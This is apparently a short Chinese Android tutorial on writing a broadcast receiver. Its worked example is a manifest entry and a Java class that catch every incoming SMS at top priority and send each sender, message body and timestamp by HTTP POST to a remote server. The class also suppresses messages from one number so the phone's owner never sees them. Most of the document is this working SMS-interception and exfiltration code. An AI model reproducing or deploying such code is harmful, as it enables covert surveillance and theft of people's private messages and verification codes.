写一个广播接收器有两个步骤,第一步:注册BroadcastReceive;第二步:写一个注册器继承BroadcastReceive,重写onReceive()方法
1.在AndroidMainfest.xml中注册,
<receiver android:name=".SMSReceiver">
<intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> 加上接收短信的权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
2.写一个接收器
package cn.eric.listener.smslistener;
import java.net.HttpURLConnection;
import java.net.URL; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver;
import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for(Object pdu : pdus){ SmsMessage message = SmsMessage.createFromPdu((byte[])pdu); String sender = message.getOriginatingAddress();//发送者 String content = message.getMessageBody(); Date date = new Date(message.getTimestampMillis()); // 2009-10-10 12:22:33 SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String time = dateFormat.format(date); sendSMS(sender, content, time); if("5556".equals(sender)){ abortBroadcast();//终止广播 } } } private void sendSMS(String sender, String content, String time) {
String path = "http://192.168.1.100:8080/web/SMSServlet"; // sender=15050505543&content=xxxx&time=2009-10-12 String data = "sender="+ sender+ "&content="+ content+ "&time="+ time; byte[] entity = data.getBytes(); try{ HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection(); conn.setConnectTimeout(5000); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); conn.getOutputStream().write(entity); if(conn.getResponseCode() == 200){ ; } }catch (Exception e) { e.printStackTrace(); } } }
|
|